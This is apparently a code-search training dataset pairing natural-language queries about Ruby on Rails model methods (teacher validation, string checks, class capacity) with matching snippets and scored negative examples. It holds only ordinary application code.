query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
Tests that the course's teacher_id is not nil and returns true or false. | def teacher_is_valid?
return self.teacher_id != nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def has_teacher?(teacher)\n return @has_teacher\n end",
"def can_create_course?\n ptainstructors = Ptainstructor.find_by_semester_id(self.id)\n teachers = Teacher.find_by_semester_id(self.id)\n if ((ptainstructors == nil) or (teachers == nil))\n return false\n end\n return true\n end",
"def is_teacher?\n #get_role == TEACHER\n get_role == false\n end",
"def logged_in?\n !current_teacher.nil?\n end",
"def logged_in?\n !current_teacher.nil?\n end",
"def teacher_is_valid\n errors.add(:teacher,'No classroom location was selected.') unless teacher_is_valid?\n end",
"def tutor_check?(academic_session, student_id)\n \tcurrent_user.is_student_tutor?(academic_session, student_id)\n end",
"def ptainstructor_is_valid?\n return self.ptainstructor_id != nil\n end",
"def set_course_has_teacher\n @course_has_teacher = CourseHasTeacher.find(params[:id])\n end",
"def teacher_only\n false\n end",
"def teacher_only\n false\n end",
"def teacher_only\n false\n end",
"def teacher_logged_in?\n @teacher_logged_in ||= user_signed_in? and cur_teacher\n end",
"def attended_exam_in? course\n exams.for_course(course).attended.present?\n end",
"def valid_prize_teacher\n return self.teachers.first if self.prize_teacher_id.blank? || self.teachers.first.try(:id) == self.prize_teacher_id\n nil\n end",
"def logged_out?\n current_teacher.nil?\n end",
"def CA_only?\n course_assistant? && (not instructor?)\n end",
"def is_super?\n current_teacher && current_teacher.id == 1\n end",
"def is_taking_course?(course, term = nil)\n term ||= Utils::Term::now\n taking_courses.each do |c|\n if c.course == course and c.year == term.year and c.semester == term.semester\n return true\n end\n end\n false\n end",
"def teacher_enabled?\n self.errors.add(\"Not attached to zone. Please contact your co-ordinator.\") if self.teacher.state == Teacher::STATE_UNATTACHED\n end",
"def CA_only?\n course_assistant? && !instructor?\n end",
"def is_student?\n student.nil?\n end",
"def required_teacher\n require_user_type(:teacher)\n end",
"def create?\n user.has_role?(:teacher)\n end",
"def create?\n user.has_role?(:teacher)\n end",
"def create?\n user.has_role?(:teacher)\n end",
"def teacher_is_suspended?( teacher)\n teacher.suspended\n end",
"def is_user_ta?(instructor_id, child)\n # instructor created the course, current user is the ta of this course.\n session[:user].role_id == 6 and\n Ta.get_my_instructors(session[:user].id).include?(instructor_id) and ta_for_current_course?(child)\n end",
"def user_active?\n\t\treturn true if teacher? && !activated\n\tend",
"def is_taking?(course)\n courses.include?(course)\n end",
"def teacher_is_super( teacher)\n teacher == Teacher.first\n end",
"def validate_tutorial\n if self.tutorial\n return true\n end\n if self.rut.nil? || birth_date.nil? || city_id.nil? || phone.nil? || preuniversity.nil? || level_id.nil? || nem.nil?\n return false\n else\n self.tutorial = true\n self.save\n end\n end",
"def is_user_ta?(instructor_id, child)\n # instructor created the course, current user is the ta of this course.\n (session[:user].role_id == 6) &&\n Ta.get_my_instructors(session[:user].id).include?(instructor_id) && ta_for_current_course?(child)\n end",
"def is_attending? course\n exams.for_course(course).attending.present?\n end",
"def student_team_requirements_met?\n # checks if the student has a team\n return false if @student.team.nil?\n # checks that the student's team has a topic\n return false if @student.team.topic.nil?\n\n # checks that the student has selected some topics\n @student.assignment.topics?\n end",
"def show\n #redirect_to '/', alert: \"Course belongs to different teacher.\" unless @course.teacher == current_teacher\n end",
"def is_user?(_user)\n teacher = _user.class == User ? _user.portal_teacher : _user\n teachers.include? teacher\n end",
"def ta_for_course?(node)\n ta_mappings = TaMapping.where(ta_id: session[:user].id)\n course_id = node.is_a?(CourseNode) ? node.node_object_id : Assignment.find(node.node_object_id).course_id\n ta_mappings.any? { |ta_mapping| ta_mapping.course_id == course_id }\n end",
"def is_person_a_teacher? (person_id)\r\n client = self.connect\r\n \r\n # escaping... you don't have do it for single quotes inside double quotes.\r\n db_sql = \"SELECT * \" +\r\n \"FROM person p \" +\r\n \"INNER JOIN role r ON r.id = p.role_id \" +\r\n \"WHERE r.name='teacher'\" +\r\n \"AND p.id=\" + person_id.to_s + \";\"\r\n #\"WHERE r.name=\\'teacher\\' \" +\r\n # \"AND p.id = \" + person_id.to_s + \";\"\r\n # puts db_sql\r\n result = client.query(db_sql)\r\n \r\n # close sql client.\r\n # might need to do this to allow more connections.\r\n client.close\r\n \r\n if result.count > 0\r\n return true\r\n else\r\n return false\r\n end\r\n \r\n #puts result.count.to_s\r\n #puts result\r\n #puts \"done....\"\r\n end",
"def teacher\n return nil unless self.teacher_id\n return User.find_by_id(self.teacher_id)\n end",
"def tutor_issued_must_have_tutor_id\n if issuer == 'tutor'\n if tutor_id.nil?\n errors.add(:tutor_id, \"cannot be blank for Tutor issued promotion\")\n end\n end\n end",
"def course_owner?(course)\n tutor? && current_user?(course.tutor)\n end",
"def is_user_instructor?(instructor_id)\n # ta created the course, current user is the instructor of this ta.\n instructor_ids = []\n TaMapping.where(ta_id: instructor_id).each {|mapping| instructor_ids << Course.find(mapping.course_id).instructor_id }\n session[:user].role_id == 2 and instructor_ids.include? session[:user].id\n end",
"def is_user_instructor?(instructor_id)\n # ta created the course, current user is the instructor of this ta.\n instructor_ids = []\n TaMapping.where(ta_id: instructor_id).each { |mapping| instructor_ids << Course.find(mapping.course_id).instructor_id }\n (session[:user].role_id == 2) && instructor_ids.include?(session[:user].id)\n end",
"def teacher_requests\n @teachers = User.where(\"teacher_status_cd IS NOT NULL\")\n end",
"def has_errors?\n taking_courses.each do |course|\n unless course.is_time_valid?\n return true\n end\n end\n false\n end",
"def free?\n self.instructor.nil?\n end",
"def invalid?\n tmdb_id.nil?\n end",
"def autenticathe_teacher!(course)\n unless someone_is_logged_in? && is_teacher_user?(current_user) && current_user?(course.teacher)\n redirect_to root_path\n end\n end",
"def bookkept?\n !(bookkept_by.nil? || id.nil?)\n end",
"def cfo_as_treasurer?\n current_user.cfo? && User.treasurer.first.try(:id).blank?\n end",
"def current_user_is_teacher\n if !current_user || current_user.role != 'teacher'\n head(403)\n end\n end",
"def has_confirmed_school?\n !school_id.nil?\n end",
"def teacher_availability\n @problem.never{ \n conjunct{ [\n Timetable::Entry.asp(:course_component_id => \"C\",\n :weekday_id => \"WD\",\n :timeframe_id => \"TF\"),\n Course::Component.asp(:id => \"C\",\n :teacher_id => \"T\"),\n Teacher::Unavailability.asp(:teacher_id => \"T\",\n :weekday_id => \"WD\",\n :timeframe_id => \"TF\")\n\n ]}\n }\n end",
"def real_student?\n student? && !phantom\n end",
"def logged_in_as_student?\n !current_student.nil?\n end",
"def set_courses_teacher\n @courses_teacher = CoursesTeacher.find(params[:id])\n end",
"def is_suspended?\n current_teacher && current_teacher.suspended == true\n end",
"def completely_valid?\n course_valid = course.valid?\n valid? && course_valid\n end",
"def teacher\n self.course_person.first(:type => \"teacher\").person\n end",
"def tutor?\n return logged_in? && (current_user.class == Tutor)\n end",
"def course_is_available?(node)\n instructor_for_course?(node) || ta_for_course?(node)\n end",
"def teacher_user\n\t\t\tredirect_to(root_url) unless current_user.role == \"teacher\"\n\t\tend",
"def question?\n question_id.nil?\n end",
"def youtube_profile?\n @network = current_user.network ||= Network.new\n !(@network.youtube.nil? || @network.youtube.blank?)\n end",
"def test_truth\n assert_kind_of Teacher, @teacher\n end",
"def instructor_for_course?(node)\n available?(session[:user], node.get_instructor_id)\n end",
"def logged_in_as_teacher?\n redirect_to :back, notice: \"You do not have permission to access that page.\" unless current_user && current_user.person_type == \"Teacher\"\n rescue ActionController::RedirectBackError\n redirect_to root_path\n end",
"def requisite_course_taken?(courses, department, level)\n courses.any? do |course|\n course.department == department && course.level.to_s == level\n end\n end",
"def set_teacher\n if session[:user_id]\n @teacher = Teacher.find(session[:user_id])\n else\n nil\n end\n end",
"def can_create_schedule?\n teacher_schedule = TeacherSchedule.new\n teacher_schedule.teacher = self\n teacher_schedule.current_user = User.current_user\n return teacher_schedule.can_create?\n end",
"def get_teacher\n if current_user.teacher\n @teacher =current_user.teacher\n else\n @teacher = current_user.create_teacher\n end\n end",
"def participant?\n !participant.nil?\n end",
"def has_classmates?\n belongs_to_classroom? ? !classroom.students.empty? : nil\n end",
"def set_teacher_id\n @teachers=Teacher.find_by(name: params[:course][:teacher_name])\n end",
"def quiz?(quiz)\n (quiz.lti_uid && quiz.lti_uid == lti_uid) ||\n (quiz.author_id && quiz.author_id == id)\n end",
"def has_course?(course)\n self.courses.include?(course)\n end",
"def has_course?(course)\n self.courses.include?(course)\n end",
"def logged_doctor_in?\n !current_doctor.nil?\n end",
"def ta_for_current_course?(node)\n ta_mappings = TaMapping.where(ta_id: session[:user].id)\n return course_node_for_current_ta?(ta_mappings, node) if node.is_a? CourseNode\n return assignment_node_for_current_ta?(ta_mappings, node) if node.is_a? AssignmentNode\n\n false\n end",
"def ta_for_current_course?(node)\n ta_mappings = TaMapping.where(ta_id: session[:user].id)\n return course_node_for_current_ta?(ta_mappings, node) if node.is_a? CourseNode\n return assignment_node_for_current_ta?(ta_mappings, node) if node.is_a? AssignmentNode\n false\n end",
"def bookkept_validation?\n !(bookkept_by_id_was.nil? || id.nil?)\n end",
"def attending?\n institution_id == participant.try(:college_attending_id)\n end",
"def teaching_staff?\n TEACHING_STAFF_ROLES.include?(CourseUser.roles[role.to_sym])\n end",
"def non_student?\n !self.has_role?('student')\n end",
"def is_tutoring?\n self.student_requests.where(status: \"active\").exists?\n end",
"def is_a_patient?\n ((!self.role.blank?) && (self.role == self.class::PATIENT))\n end",
"def ensure_not_referenced_by_any_course\n if courses.empty?\n return true\n else\n errors.add(:base, 'Courses present')\n return false\n end\n end",
"def athlete_result?\n !team_result?\n end",
"def education_user_id\n teacher.nil? ? student.external_id : teacher.external_id\n end",
"def student?\n student_id?\n end",
"def teams_are_tbd?\n return team1_id.nil? || team2_id.nil?\n end",
"def is_traveler\n if @traveler\n return @traveler.id == current_or_guest_user.id ? false : true\n else\n return false\n end \n end",
"def any_tortas?\n if @tortas.length > 0\n true\n else\n false\n end\n end",
"def has_students?\n !students.empty?\n end",
"def has_students?\n !students.empty?\n end",
"def asks_mentor_questions?\n !mentor_questions.empty?\n end",
"def is_school_admin?(school_id)\n if self.participants.exists?(:school_id => school_id)\n participant = self.participants.find_by_school_id(school_id)\n if participant.role_id < 3\n return true\n else\n return false \n end\n else\n return false\n end\n end",
"def show?\n if (@record.user_id == @user.id) || user.faculty?\n return true\n else\n return false\n end\n end",
"def logged_in?\n !current_school.nil?\n end"
] | [
"0.7449263",
"0.7200843",
"0.68973225",
"0.67134386",
"0.67134386",
"0.6505894",
"0.6498933",
"0.64595133",
"0.64591366",
"0.64050275",
"0.64050275",
"0.64050275",
"0.63600016",
"0.63040674",
"0.62889653",
"0.6263735",
"0.6236275",
"0.62268835",
"0.61472505",
"0.61325",
"0.6129215",
"0.6111554",
"0.60876966",
"0.60552746",
"0.60552746",
"0.60552746",
"0.60207534",
"0.5986317",
"0.596375",
"0.5947824",
"0.5946888",
"0.59456706",
"0.59340465",
"0.59180576",
"0.59014016",
"0.5898253",
"0.58912873",
"0.58902764",
"0.58841187",
"0.5882885",
"0.586157",
"0.5853339",
"0.5818322",
"0.5795593",
"0.5783676",
"0.5762883",
"0.57583827",
"0.574232",
"0.57300466",
"0.57203627",
"0.5711234",
"0.57002914",
"0.56877965",
"0.56839657",
"0.5682309",
"0.56768966",
"0.56668025",
"0.56601346",
"0.5653286",
"0.5650238",
"0.56410265",
"0.56343484",
"0.5629206",
"0.561207",
"0.5606663",
"0.5596711",
"0.55718535",
"0.55643994",
"0.555915",
"0.55490124",
"0.55457246",
"0.55454475",
"0.55417836",
"0.55405384",
"0.55388063",
"0.5535712",
"0.5501431",
"0.5501431",
"0.5486814",
"0.54863465",
"0.54833084",
"0.54734075",
"0.5470134",
"0.54583216",
"0.5457526",
"0.54540247",
"0.54513955",
"0.5445771",
"0.54447997",
"0.5437621",
"0.5436679",
"0.5427495",
"0.54253745",
"0.5424714",
"0.5417906",
"0.5417906",
"0.5408912",
"0.53979725",
"0.5394749",
"0.5389402"
] | 0.81804997 | 0 |
Returns true if not nil and a string | def not_nil_and_string(str)
return true unless ((str == nil) or (not str.instance_of? String))
return false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def string?\n !@arg[:textValue].nil?\n end",
"def plain_string?\n (type == :string || type == :text) && # String typed\n !value.nil? &&\n !value.empty? &&\n !is_text_run? && # No inline styles\n !is_formula? &&\n !is_array_formula?\n end",
"def is_nil_or_empty_string(str)\n return false unless ((str == nil) or (str == \"\"))\n return true\n end",
"def string?\n type == \"STRING\"\n end",
"def nil_or_empty_string?(obj)\n obj.nil? || obj.empty?\n end",
"def string?(input)\n input.class == String\nend",
"def value?(value) value.is_a?(String) end",
"def can_show? str\n \treturn not(str.nil? || str === \"\")\n end",
"def is_missing?(value)\n value.nil? or (String===value and value.strip.empty?)\n end",
"def is_string?(); @type == GRT_STRING; end",
"def present?(string)\n return !blank?(string)\n end",
"def true_string?(field)\n field == 'true' || field == true\n end",
"def string?\n data_type == String\n end",
"def string?\n @kind == :double_string_lit || @kind == :single_string_lit\n end",
"def validString?(s)\n if s.nil? \n false\n else if s.empty?\n false\n end\n end\n true\nend",
"def validString?(s)\n if s.nil? \n false\n else if s.empty?\n false\n end\n end\n true\nend",
"def string?(description)\n description.type == :str\n end",
"def is_string\n return @is_string\n end",
"def valid_string?(string)\n if string.class == String\n string\n else\n false\n end\nend",
"def is_strtype?(); @type == GRT_STRTYPE; end",
"def double_quotes_required?(string); end",
"def double_quotes_required?(string); end",
"def valid_string?(field, param)\n true\n end",
"def provided?\n [email protected]?\n end",
"def blank?(str)\n str.nil? or (str.is_a? String and str.strip.empty?)\n end",
"def valid?(att)\n return false if att.nil?\n\n return !att.nil? && !att.empty? if att.is_a? String\n\n !att.nil?\n end",
"def is_nil_like?(val=nil)\n\t\t\tval = val.to_s if val.respond_to?(\"to_s\")\n\t\t\t# let's be explicit here:\n\t\t\treturn true if (val.nil? or val =~ /^\\s$/ or val.empty? or val.downcase == \"nil\")\n\t\t\tfalse\n\t\tend",
"def valid_string_and_reg_ex?(char_string, reg_exp)\n str_flag = is_string?(char_string)\n regex_flag = is_reg_exp?(reg_exp) \n puts \"First argument should be a String.\" unless(str_flag)\n puts \"Second argument should be a Regular Expression.\" unless(regex_flag)\n str_flag && regex_flag\nend",
"def string?(str)\n str.is_a?(String)\n end",
"def is_string?\n @name.is_a?(String) && @stack.empty?\n end",
"def is_s?\n true if String(self) rescue false\n end",
"def blank?(str)\n str.nil? || str.to_s.strip == ''\nend",
"def check_string(string)\n string.empty? ? nil : string\n end",
"def valid?\n [:region, :security_group, :security_key].all? do |var|\n self.send(var).is_a? String\n end\n end",
"def is_ustring?(); @type == GRT_USTRING; end",
"def empty_nil_blank?(str, raize=false)\n result = (str !~ /[^[:space:]]/ || str.nil? || str.empty?)\n raise ShellTastic::CommandException.new(\"Command is emtpy or nil\") if result and raize\n result\n end",
"def missing_default_forged_as_empty_string?(default)\n type != :string && ! null && default == ''\n end",
"def is_string?\n columns.all? { |col| col.is_string? }\n end",
"def blank?( string )\n string.respond_to?(:empty?) ? !!string.empty? : !string\n end",
"def is_set?(s)\n not (s == nil or s == \"\" or (s =~ /^(false|f|n|no|0)$/i))\nend",
"def prad_valid? str\n return false unless str\n !!parse(str)\n end",
"def require_string(value)\n if value.nil? == true || value.to_s.empty?\n log_error_and_raise(\"expected string value, got nil or empty string\")\n end\n\n if value.is_a?(String) != true\n log_error_and_raise(\"expected string value, got #{value.class}, #{value.inspect}\")\n end\n\n end",
"def string_exist?(str)\n return false unless str\n return false if str.strip.empty?\n true\nend",
"def is_blank?(var)\n var.nil? or (var.is_a?(String) and var.strip.empty?)\n end",
"def empty_str?(value)\n EMPTY_STRING.eql?(value)\n end",
"def valid_param?(val)\n !val.nil? && val.is_a?(String) && !val.empty?\nend",
"def is? str\n !!match(str)\n end",
"def validData?\n validString?($name) & validString?($organization) & validString?($email) &\n validString?($source) & validString?($use) & validString?($notification) & \n $email.include?(\"@\") & $email.include?(\".\")\nend",
"def validate_string( str )\r\n if str.kind_of?(String)\r\n return true\r\n else\r\n puts \"#{self.class}:check_string: Error: Input must be a string.\"\r\n return false\r\n end\r\n end",
"def is_string(input)\n input.kind_of?(String)\n end",
"def nil_or_empty?(value)\n return true if value.nil? || (value.respond_to?(:empty?) && value.empty?)\n\n false\nend",
"def string?; end",
"def valid?\n title_or_description.to_s != ''\n end",
"def valid_case_string?()\n LuckyCase.case(self) != nil\n end",
"def is_strname?(); @type == GRT_STRNAME; end",
"def isStringConstant(str)\n return (str[0].to_s == \"\\\"\" and str[str.to_s.size - 1].to_s == \"\\\"\") #if statement surrounded by quotation marks of any kinds\n\n return false\nend",
"def any_empty(*params)\n params.each do |param|\n if param == nil or param == ''\n return true\n end\n end\n false\n end",
"def is_empty(str)\n if str[0] == nil\n return true\n else\n return false\n end\nend",
"def valid?( value )\n ( required? && ( value.nil? || value.to_s.empty? ) ) ? false : true\n end",
"def simple?\n empty? or singular?\n end",
"def in_both?(string)\n\t\t[\"elsif\",\"else\",\"when\",\"rescue\",\"ensure\"].each{|x|\n\t\treturn true if string.lstrip.slice(/^#{x}/)\n\t\t}\n\t\tfalse\n\tend",
"def _blank?(value)\n value.nil? || value == ''\n end",
"def name?\n @name.is_a?(String) && [email protected]?\n end",
"def match?(str)\n query = query_obj(str)\n tag_query = query[:tag]\n class_query = query[:classes]\n prop_query = query[:properties]\n\n (tag_query.blank? || match_tag?( tag_query )) &&\n (class_query.blank? || match_class?( class_query )) &&\n (prop_query.blank? || match_prop?( prop_query ))\n end",
"def value_empty?\n if value === nil or value === \"\"\n return true\n end\n return false\n end",
"def is_empty(string)\n return true if string == \"\"\n return false\nend",
"def position_taken?(cord)\n cord == \" \" || cord == \"\" || cord == nil\nend",
"def first_name_is_valid?\n return false unless not_nil_and_string(self.first_name)\n return self.first_name.length > 0\n end",
"def include_one_of?(other)\n unless other.collect {|string| true if self.include_string? string}.compact.blank?\n return true\n else\n return false\n end\n end",
"def is_strclass?(); @type == GRT_STRCLASS; end",
"def empty?(*args)\n args.flatten.any? {|arg| (arg || '').strip.empty? }\n end",
"def base_term?\n return @is_a_str.count==0\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def valid?\n valid = true\n\n if self.name.nil? || self.name == \"\"\n valid = false\n end\n\n return valid\n end",
"def blank?(a)\n return true unless a\n BLANK_STRING_RE === a\n end",
"def present?(obj)\n case obj\n when String\n !obj.strip.empty?\n when Symbol\n !obj.to_s.strip.empty?\n when Array\n !obj.compact.empty?\n when Hash\n !obj.empty?\n when TrueClass, FalseClass\n obj\n when NilClass\n false\n when Object\n true\n end\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n fail ArgumentError, \"#{name} must be given\"\n end\n end",
"def string?(string, &block)\n string !~ /\\0/ && runner( String, string, &block )\n end",
"def isEmptyOrNull(value)\n if value == nil || value.eql?(\"\")\n return true\n else\n return false\n end\n end",
"def empty?(*args)\n args.flatten.any? {|arg| (arg || '').strip.empty? }\n end",
"def nil_or_empty?(value)\n value.nil? || value.empty? ? true : false\n end",
"def complete_expression?(str); end",
"def empty(string)\n if string == \"\" \n return true\n else \n return false\n end\nend",
"def can_encode?(str)\n str.nil? || !(GSM_REGEX =~ str).nil?\n end",
"def correct?(str)\n str = str.is_a?(String) ? str : str.to_s\n str == (@answer.is_a?(String) ? @answer : @answer.to_s) # don't change @answer type\n end",
"def is_true?\n [true, \"true\", 1, \"1\", \"T\", \"t\"].include?(\n self.value.class == String ? self.value.downcase : self.value\n )\n end",
"def empty?(input)\n input == \"\" ? true : false\n end",
"def unknown?\n\t\treturn name.to_s == \"\"\n\tend",
"def valid_params?(*args)\n args.map { |a| return false if a.nil? || a.to_s.gsub(/\\s/, '').empty? }\n true\n end",
"def value_is_boolean?(string)\n return %w[true false yes no y n].include?(string.downcase)\n end",
"def missing?(obj)\n obj.to_s.strip.empty?\n end",
"def truthy?(str)\n return true if str == true || str =~ (/^(true|t|yes|y|1)$/i)\n return false if str == false || str.blank? || str =~ (/^(false|f|no|n|0)$/i)\n end",
"def facebook?; facebook.to_s != \"\" end",
"def text?\n type == :text\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n raise ArgumentError, \"#{name} must be given\"\n end\n end",
"def truthy?(string)\n string.to_s.casecmp('true').zero?\nend",
"def truthy?(string)\n string.to_s.casecmp('true').zero?\nend"
] | [
"0.77826357",
"0.7532298",
"0.7471273",
"0.73913074",
"0.7351006",
"0.72637653",
"0.7220084",
"0.72026634",
"0.7195809",
"0.7175912",
"0.7134027",
"0.71185726",
"0.71095157",
"0.70471597",
"0.6998655",
"0.6998655",
"0.6924642",
"0.68650234",
"0.68450797",
"0.6827738",
"0.68241024",
"0.68241024",
"0.68205476",
"0.6817054",
"0.6784047",
"0.6767833",
"0.67480135",
"0.6733097",
"0.67320985",
"0.67254186",
"0.67199785",
"0.6705002",
"0.66896844",
"0.6676181",
"0.66706073",
"0.6666188",
"0.66615397",
"0.6609328",
"0.6580254",
"0.6558076",
"0.65552294",
"0.6536767",
"0.6516441",
"0.64772266",
"0.6471986",
"0.64718103",
"0.6443429",
"0.6410936",
"0.63987327",
"0.6383614",
"0.6361041",
"0.63531363",
"0.6352602",
"0.6313377",
"0.63085705",
"0.6305733",
"0.6291097",
"0.625203",
"0.6238302",
"0.62350917",
"0.6227705",
"0.6213279",
"0.6208829",
"0.61885065",
"0.6186842",
"0.61839056",
"0.6178388",
"0.6169885",
"0.61693114",
"0.61568606",
"0.6155085",
"0.6134878",
"0.61198235",
"0.61198235",
"0.61129415",
"0.61069024",
"0.61047024",
"0.60940236",
"0.6093038",
"0.609185",
"0.6090397",
"0.60737026",
"0.6069563",
"0.606044",
"0.6050523",
"0.60449386",
"0.60431135",
"0.60413736",
"0.6031134",
"0.6022626",
"0.6019214",
"0.6014554",
"0.6014459",
"0.6011805",
"0.60036373",
"0.5995729",
"0.5992433",
"0.5992433"
] | 0.84099704 | 2 |
Returns array with number of students in course and class_max. | def class_how_full?
return [self.students.count, self.class_max]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def expected_grades\n assignment.course.students.count\n end",
"def expected_grades\n metrics.count * course.students.count\n end",
"def num_grades (student)\n @grades[student].length\n end",
"def find_max\n\t# Use method: stu_max = @students_list.max_by{|x| x.avg}\n\t max =0\n\t for i in 0..(@students_list.length-1) \n\t\tif @students_list[i].avg > max\n\t\t max = @students_list[i].avg\n\t\t stu_max = @students_list[i]\n\t\tend\n\t end\n\t puts \"Student who has max avg\".center(30)\n\t puts \"Name: #{stu_max.name}\".rjust(20)\n\t puts \"Birthday: #{stu_max.birthday}\".rjust(20)\n\t puts \"Math: #{stu_max.math}\".rjust(20)\n\t puts \"Literature: #{stu_max.liter}\".rjust(20)\n\t puts \"English: #{stu_max.eng}\".rjust(20)\n\t puts \"AVG: #{stu_max.avg}\".rjust(20)\n\tend",
"def count_students\n students.size\n end",
"def count_students\n students.size\n end",
"def available_courses\n MAX_COURSES - self.course_selections_count\n end",
"def active_student_count\n if self.students.present?\n self.students.select { |s| s.sign_in_count > 0 }.size\n else\n 0\n end\n end",
"def get_students\n ret=[]\n self.get_class_schools.each do |classe|\n ret.concat classe.students\n end\n #puts \"========================== teacher.get_students: #{ret.count}\"\n ret\n end",
"def total_students\n students = 0\n self.booked_customers.each do |school|\n students += school.number_students\n end\n return students\n end",
"def unique_course_count\n return courses.group(:name).count\n end",
"def num_students\n self.students.count\n end",
"def get_class_schools\n ret=[]\n self.teachings.to_a.each do |teaching|\n ret<< teaching.teaching_class_school\n end\n #puts \"========================== teacher.get_class_schools: #{ret.count}\"\n ret\n end",
"def student_membership_number\n accepted_students.size + pending_students.size\n end",
"def students_scheduled\n self.lessons.size\n end",
"def popularities\n result = {}\n @courses.each do |cl|\n result[cl.name] = Hash.new(0)\n end\n @students.each do |student|\n student.each_with_index do |course_choice, i|\n result[course_choice.name][i] += 1\n end\n end\n result\n end",
"def find_all_students_with_grade(grade)\n count = 0;\n self.students.each { |student|\n if student.grade == grade\n count = count+1\n end\n }\n return count;\n end",
"def max_total_score\n review_criterions.collect{|c| c.max_score}.sum\n end",
"def print_course_class_total_item_counts\n puts \"=> Course Class Total Item Counts\"\n @course_classes.each do |course_class|\n puts \"% 20s % 4d\" % [ course_class, course_class.count ]\n end\n end",
"def find_max_chars\n @students.each do |student|\n student.each do |k, v|\n key_length = k.to_s.length\n value_length = ((v.is_a? Array) ? v.join(', ') : v.to_s).length\n current_max = (key_length > value_length ? key_length : value_length) + 2\n if (@max_chars[k] == nil) || (current_max > @max_chars[k])\n @max_chars[k] = current_max\n end\n end\n end\nend",
"def max_donors(students, blood_types)\n\tdonor_lengths = []\n\n\tstudents.each_with_index do |student, i|\n\t\tstudent_blood_type = blood_type(students, blood_types, student)\n\t\tbloods_list = blood_type_accepted(students, student_blood_type, student)\n\t\tstudent_donor_list = donor_list(students, blood_types, bloods_list)\n\t\tdonor_lengths.push(student_donor_list.length)\n\n\tend\n\n\tindex = 0\n\tdonor_max = donor_lengths[0]\n\tmax_donor_list = []\n\tdonor_lengths.each_with_index do |count, i|\n\t\tif count > donor_max\n\t\t\tdonor_max = count\n\t\t\tindex = i\n\t\tend\n\tend\n\tdonor_lengths.each_with_index do |count, i|\n\t\tif count == donor_max\n\t\t\tmax_donor_list.push(students[i])\n\t\tend\n\tend\n\treturn max_donor_list, donor_max\nend",
"def total_students(students)\n\ttotal = 0\n\tstudents.each do |cohort, number| \n\t\ttotal += number.to_i\n\tend\n\tputs total\nend",
"def get_max_included_snps\n max_snps = 0\n @chromarray.each do |num|\n if @chromhash[num].snp_list.get_num_included_snps > max_snps\n max_snps = @chromhash[num].snp_list.get_num_included_snps\n end\n end\n return max_snps\n end",
"def maximum\n\t\tif 2 < course.users.length and 0 < worth\n\t\t\tmaximum = 0\n\t\t\t\n\t\t\tcourse.users.each do |user|\n\t\t\t\tgrade = self.user_grade(user)\n\t\t\t\t\n\t\t\t\tif grade and maximum < grade\n\t\t\t\t\tmaximum = grade\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn maximum\n\t\tend\n\tend",
"def get_num_students_per_grade(num_students)\n min = @scenarioYAML[\"MINIMUM_GRADE_PERCENTAGE\"]\n max = @scenarioYAML[\"MAXIMUM_GRADE_PERCENTAGE\"]\n\n if min.nil?\n @log.error \"MINIMUM_GRADE_PERCENTAGE must be set for a world to be created --> Exiting...\"\n abort\n end\n if max.nil?\n @log.error \"MAXIMUM_GRADE_PERCENTAGE must be set for a world to be created --> Exiting...\"\n abort\n end\n\n ((random_on_interval(min, max) / 100) * num_students).round\n end",
"def enrollee_count\n count = 0\n courses.each do |c|\n count += c.course.all_enrollee_count\n end\n count += extra_enrollees.size\n count\n end",
"def max_y\n vertical_code_list&.codes&.count.to_i + roster_rows.to_i\n end",
"def factor_max_labs\n \tfactors.map do |factor|\n \t\tfactor.max_score\n \tend\n end",
"def solution(a)\n return a.count(a.max)\nend",
"def max_scores\n next_boards.map(&:max_score)\n end",
"def mode( grades )\n grades.delete(nil) \n if grades == [] then\n return 0.0\n end\n reqGradeArray = Hash.new()\n freq = 0\n freqGrade = 0.0\n\n # Record frequency for each grade\n grades.each{ |grade|\n # if !reqGradeArray.has_key?(grade)\n # reqGradeArray.merge!({grade => 1})\n # else\n \n reqGradeArray.include?(grade) ? reqGradeArray[grade] += 1 : (reqGradeArray[grade] = 1)\n }\n # Rails.logger.info(\" asdf3 #{reqGradeArray}\" )\n # find the most frequent grade\n reqGradeArray.each{ |key, value|\n if value > freq then\n freqGrade = key\n freq = value\n end\n }\n returnArray = Array.new\n returnArray.push(freq)\n returnArray.push(freqGrade)\n return returnArray\n end",
"def expected_submissions\n deliverables.count * course.students.count\n end",
"def max_candidates\n return @max_candidates\n end",
"def most_blood_donors (students, blood_types)\n\tmax_donors = 0\n\tmost_donors = []\n\n\tstudents.each_with_index do |student_needing_blood, i|\n\t\tdonors = donors_for_student(students, blood_types, student_needing_blood)\n\t\tif donors.length > max_donors\n\t\t\tmax_donors = donors.length\n\t\tend\n\tend\n\tstudents.each_with_index do |student_needing_blood, i|\n\t\tdonors = donors_for_student(students, blood_types, student_needing_blood)\n\t\tif donors.length == max_donors\n\t\t\tmax_donors = donors.length\n\t\t\tmost_donors.push(students[i])\n\t\tend\n\tend\n\treturn most_donors\nend",
"def cusmax(array)\r\n return array.sort.max\r\nend",
"def maximum\n\t\tif course.users.length > 2 and worth > 0\n\t\t\treturn (grades.maximum(:grade).to_f / worth) * 100\n\t\tend\n\tend",
